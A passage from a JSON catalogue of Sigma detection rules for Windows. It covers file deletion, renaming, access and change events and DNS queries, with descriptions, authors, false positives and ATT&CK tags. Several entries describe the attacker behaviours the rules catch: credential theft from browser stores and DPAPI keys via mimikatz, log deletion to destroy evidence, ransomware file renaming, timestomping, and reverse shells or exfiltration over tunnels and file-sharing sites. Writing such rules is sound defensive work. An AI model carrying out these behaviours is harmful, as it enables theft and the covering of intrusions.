          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_task_write.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.execution",
          "attack.t1053"
        ]
      },
      "related": [
        {
          "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "80e1f67a-4596-4351-98f5-a9c3efabac95",
      "value": "Suspicious Scheduled Task Write to System32 Tasks"
    },
    {
      "description": "Detects file renames where the target filename uses an uncommon double extension. Could indicate potential ransomware activity renaming files and adding a custom extension to the encrypted files, such as \".jpg.crypted\", \".docx.locky\", etc.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/07/16",
        "falsepositive": [
          "Backup software"
        ],
        "filename": "file_rename_win_ransomware.yml",
        "level": "medium",
        "logsource.category": "file_rename",
        "logsource.product": "windows",
        "refs": [
          "https://blog.cyble.com/2022/08/10/onyx-ransomware-renames-its-leak-site-to-vsop/",
          "https://app.any.run/tasks/d66ead5a-faf4-4437-93aa-65785afaf9e5/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_ransomware.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1486"
        ]
      },
      "related": [
        {
          "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e3f673b3-65d1-4d80-9146-466f8b63fa99",
      "value": "Suspicious Appended Extension"
    },
    {
      "description": "Detects the deletion of IIS WebServer access logs which may indicate an attempt to destroy forensic evidence",
      "meta": {
        "author": "Tim Rauch (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/16",
        "falsepositive": [
          "During uninstallation of the IIS service",
          "During log rotation"
        ],
        "filename": "file_delete_win_delete_iis_access_logs.yml",
        "level": "medium",
        "logsource.category": "file_delete",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/webserver-access-logs-deleted.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_iis_access_logs.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070"
        ]
      },
      "related": [
        {
          "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3eb8c339-a765-48cc-a150-4364c04652bf",
      "value": "IIS WebServer Access Logs Deleted"
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    {
      "description": "Detects the deletion of the TeamViewer log files which may indicate an attempt to destroy forensic evidence",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_delete_win_delete_teamviewer_logs.yml",
        "level": "low",
        "logsource.category": "file_delete",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_teamviewer_logs.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b1decb61-ed83-4339-8e95-53ea51901720",
      "value": "TeamViewer Log File Deleted"
    },
    {
      "description": "Detect DLL deletions from Spooler Service driver folder. This might be a potential exploitation attempt of CVE-2021-1675",
      "meta": {
        "author": "Bhabesh Raj",
        "creation_date": "2021/07/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_delete_win_cve_2021_1675_print_nightmare.yml",
        "level": "high",
        "logsource.category": "file_delete",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/cube0x0/CVE-2021-1675",
          "https://github.com/hhlxf/PrintNightmare",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_cve_2021_1675_print_nightmare.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574",
          "cve.2021.1675"
        ]
      },
      "related": [
        {
          "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5b2bbc47-dead-4ef7-8908-0cf73fcbecbf",
      "value": "Potential PrintNightmare Exploitation Attempt"
    },
    {
      "description": "Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/26",
        "falsepositive": [
          "Possible FP during log rotation"
        ],
        "filename": "file_delete_win_delete_exchange_powershell_logs.yml",
        "level": "high",
        "logsource.category": "file_delete",
        "logsource.product": "windows",
        "refs": [
          "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_exchange_powershell_logs.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070"
        ]
      },
      "related": [
        {
          "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a55349d8-9588-4c5a-8e3b-1925fe2a4ffe",
      "value": "Exchange PowerShell Cmdlet History Deleted"
    },
    {
      "description": "Detects deletion of files with extensions often used for backup files. Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/02",
        "falsepositive": [
          "Legitime usage"
        ],
        "filename": "file_delete_win_delete_backup_file.yml",
        "level": "medium",
        "logsource.category": "file_delete",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-6---windows---delete-backup-files",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_backup_file.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1490"
        ]
      },
      "related": [
        {
          "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "06125661-3814-4e03-bfa2-1e4411c60ac3",
      "value": "Backup Files Deleted"
    },
    {
      "description": "Detects the deletion of the event log files which may indicate an attempt to destroy forensic evidence",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_delete_win_delete_event_log_files.yml",
        "level": "medium",
        "logsource.category": "file_delete",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_event_log_files.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070"
        ]
      },
      "related": [
        {
          "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "63c779ba-f638-40a0-a593-ddd45e8b1ddc",
      "value": "EventLog EVTX File Deleted"
    },
    {
      "description": "Detects the deletion of files by the Sysinternals SDelete utility. It looks for the common name pattern used to rename files.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/05/02",
        "falsepositive": [
          "Legitime usage of SDelete"
        ],
        "filename": "file_delete_win_sysinternals_sdelete_file_deletion.yml",
        "level": "medium",
        "logsource.category": "file_delete",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/OTRF/detection-hackathon-apt29/issues/9",
          "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/4.B.4_83D62033-105A-4A02-8B75-DAB52D8D51EC.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_sysinternals_sdelete_file_deletion.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6ddab845-b1b8-49c2-bbf7-1a11967f64bc",
      "value": "File Deleted Via Sysinternals SDelete"
    },
    {
      "description": "Detects the deletion of tomcat WebServer logs which may indicate an attempt to destroy forensic evidence",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/16",
        "falsepositive": [
          "During uninstallation of the tomcat server",
          "During log rotation"
        ],
        "filename": "file_delete_win_delete_tomcat_logs.yml",
        "level": "medium",
        "logsource.category": "file_delete",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://linuxhint.com/view-tomcat-logs-windows/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_tomcat_logs.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070"
        ]
      },
      "related": [
        {
          "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "270185ff-5f50-4d6d-a27f-24c3b8c9fef8",
      "value": "Tomcat WebServer Logs Deleted"
    },
    {
      "description": "Detects the deletion of a prefetch file which may indicate an attempt to destroy forensic evidence",
      "meta": {
        "author": "Cedric MAURUGEON",
        "creation_date": "2021/09/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_delete_win_delete_prefetch.yml",
        "level": "high",
        "logsource.category": "file_delete",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_prefetch.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0a1f9d29-6465-4776-b091-7f43b26e4c89",
      "value": "Prefetch File Deleted"
    },
    {
      "description": "Detects the deletion of the PowerShell console History logs which may indicate an attempt to destroy forensic evidence",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_delete_win_delete_powershell_command_history.yml",
        "level": "medium",
        "logsource.category": "file_delete",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_powershell_command_history.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070"
        ]
      },
      "related": [
        {
          "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ff301988-c231-4bd0-834c-ac9d73b86586",
      "value": "PowerShell Console History Logs Deleted"
    },
    {
      "description": "Detects the deletion of the \"Zone.Identifier\" ADS by an uncommon process. Attackers can leverage this in order to bypass security restrictions that make use of the ADS such as Microsoft Office apps.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/09/04",
        "falsepositive": [
          "Other third party applications not listed."
        ],
        "filename": "file_delete_win_zone_identifier_ads_uncommon.yml",
        "level": "medium",
        "logsource.category": "file_delete",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://securityliterate.com/how-malware-abuses-the-zone-identifier-to-circumvent-detection-and-analysis/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_zone_identifier_ads_uncommon.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3109530e-ab47-4cc6-a953-cac5ebcc93ae",
      "value": "ADS Zone.Identifier Deleted By Uncommon Application"
    },
    {
      "description": "Detects an unexpected file being deleted by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)",
      "meta": {
        "author": "Tim Rauch (Nextron Systems)",
        "creation_date": "2022/09/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_delete_win_unusual_deletion_by_dns_exe.yml",
        "level": "high",
        "logsource.category": "file_delete",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_unusual_deletion_by_dns_exe.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1133"
        ]
      },
      "related": [
        {
          "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8f0b1fb1-9bd4-4e74-8cdf-a8de4d2adfd0",
      "value": "Unusual File Deletion by Dns.exe"
    },
    {
      "description": "Detects file access requests to browser credential stores by uncommon processes.\nCould indicate potential attempt of credential stealing.\nRequires heavy baselining before usage\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/04/09",
        "falsepositive": [
          "Antivirus, Anti-Spyware, Anti-Malware Software",
          "Backup software",
          "Legitimate software installed on partitions other than \"C:\\\"",
          "Searching software such as \"everything.exe\""
        ],
        "filename": "file_access_win_browser_credential_access.yml",
        "level": "low",
        "logsource.category": "file_access",
        "logsource.product": "windows",
        "refs": [
          "https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users",
          "https://github.com/lclevy/firepwd",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_browser_credential_access.yml"
        ],
        "tags": [
          "attack.t1003",
          "attack.credential_access"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "91cb43db-302a-47e3-b3c8-7ede481e27bf",
      "value": "Access To Browser Credential Files By Uncommon Application"
    },
    {
      "description": "Detects file access requests to the the Windows Data Protection API Master keys by an uncommon application.\nThis can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::masterkey\" function\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_access_win_dpapi_master_key_access.yml",
        "level": "medium",
        "logsource.category": "file_access",
        "logsource.product": "windows",
        "refs": [
          "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords",
          "http://blog.harmj0y.net/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_dpapi_master_key_access.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1555.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "d336b553-5da9-46ca-98a8-0b23f49fb447",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "46612ae6-86be-4802-bc07-39b59feb1309",
      "value": "Access To Windows DPAPI Master Keys By Uncommon Application"
    },
    {
      "description": "Detects suspicious processes based on name and location that access the windows credential manager and vault.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::cred\" function\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/11",
        "falsepositive": [
          "Legitimate software installed by the users for example in the \"AppData\" directory may access these files (for any reason)."
        ],
        "filename": "file_access_win_credential_manager_access.yml",
        "level": "medium",
        "logsource.category": "file_access",
        "logsource.product": "windows",
        "refs": [
          "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/",
          "https://hunter2.gitbook.io/darthsidious/privilege-escalation/mimikatz",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_credential_manager_access.yml"
        ],
        "tags": [
          "attack.t1003",
          "attack.credential_access"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "407aecb1-e762-4acf-8c7b-d087bcff3bb6",
      "value": "Credential Manager Access By Uncommon Application"
    },
    {
      "description": "Detects file access requests to the Windows Credential History File by an uncommon application.\nThis can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::credhist\" function\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_access_win_susp_cred_hist_access.yml",
        "level": "medium",
        "logsource.category": "file_access",
        "logsource.product": "windows",
        "refs": [
          "https://tools.thehacker.recipes/mimikatz/modules/dpapi/credhist",
          "https://www.passcape.com/windows_password_recovery_dpapi_credhist",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_cred_hist_access.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1555.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "d336b553-5da9-46ca-98a8-0b23f49fb447",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7a2a22ea-a203-4cd3-9abf-20eb1c5c6cd2",
      "value": "Access To Windows Credential History File By Uncommon Application"
    },
    {
      "description": "Detects file access requests to files ending with either the \".hive\"/\".reg\" extension, usually associated with Windows Registry backups.",
      "meta": {
        "author": "frack113",
        "creation_date": "2023/09/15",
        "falsepositive": [
          "Third party software installed in the user context might generate a lot of FPs. Heavy baselining and tuning might be required."
        ],
        "filename": "file_access_win_reg_and_hive_access.yml",
        "level": "low",
        "logsource.category": "file_access",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/tccontre/Reg-Restore-Persistence-Mole",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_reg_and_hive_access.yml"
        ],
        "tags": [
          "attack.t1112",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "337a31c6-46c4-46be-886a-260d7aa78cac",
      "value": "Access To .Reg/.Hive Files By Uncommon Application"
    },
    {
      "description": "Detects an unexpected file being modified by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)",
      "meta": {
        "author": "Tim Rauch (Nextron Systems)",
        "creation_date": "2022/09/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_change_win_unusual_modification_by_dns_exe.yml",
        "level": "high",
        "logsource.category": "file_change",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_unusual_modification_by_dns_exe.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1133"
        ]
      },
      "related": [
        {
          "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9f383dc0-fdeb-4d56-acbc-9f9f4f8f20f3",
      "value": "Unusual File Modification by dns.exe"
    },
    {
      "description": "Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system.\nNote that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.\n",
      "meta": {
        "author": "frack113, Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/12",
        "falsepositive": [
          "Changes made to or by the local NTP service"
        ],
        "filename": "file_change_win_2022_timestomping.yml",
        "level": "high",
        "logsource.category": "file_change",
        "logsource.product": "windows",
        "refs": [
          "https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_2022_timestomping.yml"
        ],
        "tags": [
          "attack.t1070.006",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "558eebe5-f2ba-4104-b339-36f7902bcc1a",
      "value": "File Creation Date Changed to Another Year"
    },
    {
      "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n",
      "meta": {
        "author": "frack113, Connor Martin",
        "creation_date": "2022/07/11",
        "falsepositive": [
          "Likely with other browser software. Apply additional filters for any other browsers you might use."
        ],
        "filename": "dns_query_win_remote_access_software_domains_non_browsers.yml",
        "level": "medium",
        "logsource.category": "dns_query",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows",
          "https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-6---ammyy-admin-software-execution",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows",
          "https://redcanary.com/blog/misbehaving-rats/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_remote_access_software_domains_non_browsers.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4d07b1f4-cb00-4470-b9f8-b0191d48ff52",
      "value": "DNS Query To Remote Access Software Domain From Non-Browser App"
    },
    {
      "description": "Detects Azure Hybrid Connection Manager services querying the Azure service bus service",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2021/04/12",
        "falsepositive": [
          "Legitimate use of Azure Hybrid Connection Manager and the Azure Service Bus service"
        ],
        "filename": "dns_query_win_hybridconnectionmgr_servicebus.yml",
        "level": "high",
        "logsource.category": "dns_query",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Cyb3rWard0g/status/1381642789369286662",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_hybridconnectionmgr_servicebus.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1554"
        ]
      },
      "related": [
        {
          "dest-uuid": "960c3c86-1480-4d72-b4e0-8c242e84a5c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7bd3902d-8b8b-4dd4-838a-c6862d40150d",
      "value": "DNS HybridConnectionManager Service Bus"
    },
    {
      "description": "Detects DNS queries for IP lookup services such as \"api.ipify.org\" originating from a non browser process.",
      "meta": {
        "author": "Brandon George (blog post), Thomas Patzke",
        "creation_date": "2021/07/08",
        "falsepositive": [
          "Legitimate usage of IP lookup services such as ipify API"
        ],
        "filename": "dns_query_win_susp_external_ip_lookup.yml",
        "level": "medium",
        "logsource.category": "dns_query",
        "logsource.product": "windows",
        "refs": [
          "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon",
          "https://twitter.com/neonprimetime/status/1436376497980428318",
          "https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_external_ip_lookup.yml"
        ],
        "tags": [
          "attack.reconnaissance",
          "attack.t1590"
        ]
      },
      "related": [
        {
          "dest-uuid": "9d48cab2-7929-4812-ad22-f536665f0109",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ec82e2a5-81ea-4211-a1f8-37a0286df2c2",
      "value": "Suspicious DNS Query for IP Lookup Service APIs"
    },
    {
      "description": "Detects DNS query requests to Visual Studio Code tunnel domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.\n",
      "meta": {
        "author": "citron_ninja",
        "creation_date": "2023/10/25",
        "falsepositive": [
          "Legitimate use of Visual Studio Code tunnel will also trigger this."
        ],
        "filename": "dns_query_win_vscode_tunnel_communication.yml",
        "level": "medium",
        "logsource.category": "dns_query",
        "logsource.product": "windows",
        "refs": [
          "https://cydefops.com/vscode-data-exfiltration",
          "https://badoption.eu/blog/2023/01/31/code_c2.html",
          "https://ipfyx.fr/post/visual-studio-code-tunnel/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_vscode_tunnel_communication.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1071.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b3e6418f-7c7a-4fad-993a-93b65027a9f1",
      "value": "DNS Query To Visual Studio Code Tunnels Domain"
    },
    {
      "description": "Detects DNS queries for \"anonfiles.com\", which is an anonymous file upload platform often used for malicious purposes",
      "meta": {
        "author": "pH-T (Nextron Systems)",
        "creation_date": "2022/07/15",
        "falsepositive": [
          "Rare legitimate access to anonfiles.com"
        ],
        "filename": "dns_query_win_anonymfiles_com.yml",
        "level": "high",
        "logsource.category": "dns_query",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_anonymfiles_com.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1567.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "065cceea-77ec-4030-9052-fc0affea7110",
      "value": "DNS Query for Anonfiles.com Domain - Sysmon"
    },
    {
      "description": "Detects DNS server discovery via LDAP query requests from uncommon applications",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/20",
        "falsepositive": [
          "Likely"
        ],
        "filename": "dns_query_win_dns_server_discovery_via_ldap_query.yml",
        "level": "low",
        "logsource.category": "dns_query",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/980f3f83fd81f37c1ca9c02dccfd1c3d9f9d0841/atomics/T1016/T1016.md#atomic-test-9---dns-server-discovery-using-nslookup",
          "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/7fcdce70-5205-44d6-9c3a-260e616a2f04",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_dns_server_discovery_via_ldap_query.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1482"
        ]
      },
      "related": [
        {
          "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a21bcd7e-38ec-49ad-b69a-9ea17e69509e",
      "value": "DNS Server Discovery Via LDAP Query"
    },
    {
      "description": "Detects DNS queries to a TeamViewer domain only resolved by a TeamViewer client by an image that isn't named TeamViewer (sometimes used by threat actors for obfuscation)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/01/30",
        "falsepositive": [
          "Unknown binary names of TeamViewer",
          "Depending on the environment the rule might require some initial tuning before usage to avoid FP with third party applications"
        ],
        "filename": "dns_query_win_teamviewer_domain_query_by_uncommon_app.yml",
        "level": "medium",
        "logsource.category": "dns_query",
        "logsource.product": "windows",
        "refs": [
          "https://www.teamviewer.com/en-us/",
